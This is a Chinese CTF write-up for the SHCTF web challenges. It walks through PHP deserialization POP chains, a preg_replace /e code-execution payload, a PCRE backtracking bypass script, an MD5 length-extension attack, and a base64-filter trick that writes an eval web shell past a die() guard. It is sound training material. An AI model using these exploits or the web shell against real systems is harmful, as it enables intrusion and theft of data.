SHCTF-Web-WP


WEEK1

ez_serialize

源码

<?php
highlight_file(__FILE__);
class A{
 public $var_1; 
 public function __invoke(){
  include($this->var_1);
 }
}
class B{
 public $q;
 public function __wakeup()
{
 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
      echo "hacker";      
    }
}
}
class C{
 public $var;
 public $z;
  public function __toString(){
    return $this->z->var;
  }
}
class D{
 public $p;
  public function __get($key){
    $function = $this->p;
    return $function();
  } 
}
if(isset($_GET['payload']))
{
  unserialize($_GET['payload']);
}
?>

构造出的poc链代码如下图

<?php
highlight_file(*__FILE__*);
class A{
    public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';

   public function __invoke(){    
   include($this->var_1);    }
}
class B{
    public $q;
    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";
        }
    }
}
class C{
    public $var;
    public $z;
    public function __toString(){
        return $this->z->var;
    }
}
class D{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$b = new B();
$c = new C();
$d = new D();
$a = new A();
$b -> q = $c;
$c -> z = $d;
$d -> p = $a;
echo serialize($b);
?>

传参后可以得到答案

ezphp

<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?>
it is begin

第一个判断需要我们get传参’code’,post传参’pattern’。

第二个判断使传参’code’中不能含有其中的指令或字符,然后在其中的 preg_replace(‘/(‘ . $pattern . ‘)/ei’,’print_r(“\1”)’, $code);可以得知有漏洞可以利用,即\e的命令执行

这里引用大佬博客,[大佬连接](关于preg_replace \e的代码执行-CSDN博客)

在本题的preg_replace(‘/(‘ . $pattern . ‘)/ei’,’print_r(“\1”)’, $code);代码中,可以为$pattern赋值为**.***以此来匹配0个或多个字符(任意字符),他就是匹配到了$code,然后因为他是子模式,所以\1的值就是$code,然后因为在双引号中,转义了\,\1的值$code就被当做代码执行了,所以我们只需要写一个能在print_r中执行的代码

payload $code={${phpinfo()}}

$pattern=.*

1zzphp

本题源代码
<?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
  $code = (String)$_POST['c_ode'];
  $num=$_GET['num'];
  if(preg_match("/[0-9]/", $num))
  {
    die("no number!");
  }
  elseif(intval($num))
  {
   if(preg_match('/.+?SHCTF/is', $code))
   {
    die('no touch!');
   }
   if(stripos($code,'2023SHCTF') === FALSE)
   {
    die('what do you want');
   }
   echo $flag;
  }
} 

第一个问题是需要给num传参里不能有数字,第二个问题里用到了intval函数,该函数获取$num里的整数值,如果不是则返回False,并且使用正则表达式函数 preg_match() 来匹配字符串 $code 是否包含 SHCTF,stripos() 函数查找字符串在另一字符串中第一次出现的位置,即查找$code中是否有2023SHCTF,

第一步中我们可以通过给num传参进行数组绕过,即url+/?num[]=1

然后后面可以通过pcre时间回溯漏洞,发送大量字符串”2023SHCTF”以达到其上限从而能绕过preg_match函数,这样同时满足俩个判断从而得到flag

代码为

import requests
url = "http://112.6.51.212:31219/?num[]=1"

data={
    'c_ode':'very'*250000+'2023SHCTF'
}

r=requests.post(url,data=data)
print(r.text)

WEEK2

serialize

源代码
<?php
highlight_file(__FILE__);
class misca{
  public $gao;
  public $fei;
  public $a;
  public function __get($key){
    $this->miaomiao();
    $this->gao=$this->fei;
    die($this->a);
  }
  public function miaomiao(){
    $this->a='Mikey Mouse~';
  }
}
class musca{
  public $ding;
  public $dong;
  public function __wakeup(){
    return $this->ding->dong;
  }
}
class milaoshu{
  public $v;
  public function __tostring(){
    echo"misca~musca~milaoshu~~~";
    include($this->v);
  }
}
function check($data){
  if(preg_match('/^O:\d+/',$data)){
    die("you should think harder!");
  }
  else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

可以构造如下图的poc链

<?php
highlight_file(*__FILE__*);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v = 'php://filter/convert.base64-encode/resource=flag.php';
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
$a = new musca();
$a -> ding = new misca();
$a -> ding -> fei = new milaoshu();
$a -> ding -> a = &$a -> ding ->gao;
$b = serialize($a);
echo serialize(array($a));
?>

将输出的序列化值进行传参从而可以得到flag,将其base64解码即是flag

这其中要注意的是传参的 $wanna_fl.ag中需要将其转换为 wanna[fl.ag以确保岂能在get中正确传参,当get传参出现[时,将会使其变为_,且后续.不会变化,也就是说,如果不做此修改,则会导致.无法被识别,从而无法满足传参的条件。

no_wake_up

本题也是一个反序列化题,题目源码为

<?php
highlight_file(__FILE__);
class flag{
  public $username;
  public $code;
  public function __wakeup(){
    $this->username = "guest";
  }
  public function __destruct(){
    if($this->username = "admin"){
      include($this->code);
    }
  }
}
unserialize($_GET['try']);

编写其反序列化代码

<?php
highlight_file(*__FILE__*);
class flag{
    public $username;
    public $code = 'php://filter/read=convert.base64-encode/resource=flag.php';
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
$a = new flag();
echo serialize($a);

运行结果为

O:4:”flag”:2:{s:8:”username”;N;s:4:”code”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;}

MD5的事就拜托了

题目源码

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
  extract(parse_url($_POST['SHCTF']));
  if($$$scheme==='SHCTF'){
    echo(md5($flag));
    echo("</br>");
  }
  if(isset($_GET['length'])){
    $num=$_GET['length'];
    if($num*100!=intval($num*100)){
      echo(strlen($flag));
      echo("</br>");
    }
  }
}
if($_POST['SHCTF']!=md5($flag)){
  if($_POST['SHCTF']===md5($flag.urldecode($num))){
    echo("flag is".$flag);
  }
}

通过后续从大佬WP上学习知道该题为MD5补充攻击,需要我们取得知flag的长度和MD5值

第一步、获得flag的MD5值

参考源码
if(isset($_POST['SHCTF'])){
  extract(parse_url($_POST['SHCTF']));
  if($$$scheme==='SHCTF'){
    echo(md5($flag));
    echo("</br>");
  }

这里面有几个不认识的函数,例如:**parse_url()**,其效果为

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

extract()函数

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。该函数返回成功导入到符号表中的变量数目

如果要满足$$$scheme==='SHCTF',我们可以使[scheme] => host,导致$$host==='SHCTF';再使得[host] => user导致$user==='SHCTF',就满足条件。

可以构造如下的数组

Array
(
    [scheme] => host
    [host] => user
    [user] => SHCTF
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

构造payload:host://SHCTF:password@user/path?arg=value#anchor

得到的flag的MD5值为: 5eff41d1008c731b14eec5d18c32d942

第二步、获取flag的长度

参考源码
if(isset($_GET['length'])){
    $num=$_GET['length'];
    if($num*100!=intval($num*100)){
      echo(strlen($flag));
      echo("</br>");
    }
  }

可以参考这位大佬的博客PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval绕过-CSDN博客

intval函数中其会对所得的值进行取整,所以我们可以使**$num=1.111**即可得到flag的长度

得到flag的长度为 42

第三步、计算“md5($flag.urldecode($num))”

通过github上的哈希长度扩展攻击利用脚本可以通过已知的信息来求解

所以目前已知信息满足该md5(“密文”+”处理过的已知字符串”)=处理过的哈希值公式

md5($flag+”\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x01\x00\x00\x00\x00\x00\x00233”)=7b0d8d07ac2974cc262613ed18d200df

将其中处理过的已知字符串将其\x替换为%进行url编码一下传参给length

再将处理过的hash值传参给SHCTF,执行即可得到flag

WEEK3

快问快答

根据这题提示以及尝试,要求我们2s内回答问题并连续答对50道,可想而知我们需要另辟蹊径了,即我们可以编写一个python代码来完成50道答题

代码如下

import requests
from bs4 import BeautifulSoup
import re
import time

# 创建会话
s = requests.Session()
url = 'http://112.6.51.212:31530/' #url

# 循环答题
correct_answers = 0
for i in range(70):  # 除法运算时有些报错,影响了循环,这里改70
    # 获取题目
    r = s.get(url)
    r.encoding = 'utf-8'
    soup = BeautifulSoup(r.text, "html.parser")
    question_text = soup.find("h3").text
    print(question_text)

    # 使用正则表达式从题目中提取数字和运算符
    matches = re.match(r'题目:(\d+) (异或|与|[+\-x÷]) (\d+) =', question_text)
    # 等待一秒
    time.sleep(1)
    if matches:
        num1 = int(matches.group(1))
        operator = matches.group(2)
        num2 = int(matches.group(3))

        if operator == '+':
            answer = num1 + num2
        elif operator == '-':
            answer = num1 - num2
        elif operator == 'x':
            answer = num1 * num2
        elif operator == '÷':
            answer = num1 / num2
        elif operator == '异或':
            answer = num1 ^ num2
        elif operator == '与':
            answer = num1 & num2

        # 准备POST数据
        data = {"answer": answer}

        # 发送答案
        response = s.post(url, data=data)
        print(f"答案:{answer}")
        print(response.text)  # 输出对应的response.text

sseerriiaalliizzee

本题从题目看就是一道POC链 题目

<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}
class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
    }
}
    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 
no way, fuck off

本题可以构造的POC链为

Start __construct() -> Start __toString() -> CTF dosomething()

这其中我们需要考虑的是如何绕过CTF类中的$useless里面的die方法,如果使其执行,那么代码直接结束,我们想要写入的代码也无法写入,通过上网搜索,可以通过base编码来绕过

原理其实很简单,利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;

$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';

这里之所以将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化;载荷效果如下:

具体详情可以看这位大佬博客file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)

所以我们可以如此构造POC链

$a = new Start();
$b = new CTF();
$a -> barking = $b;
$b -> part1 = "php://filter/convert.base64-decode/resource=1.php";
$b -> part2 =  'aa'.base64_encode('<?php eval($_POST[1]); ?>');
echo serialize($a);

将序列化后的值传参进去

然后访问我们设置的php位置并输入相关查询指令


文章作者: Know5
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Know5 !
  目录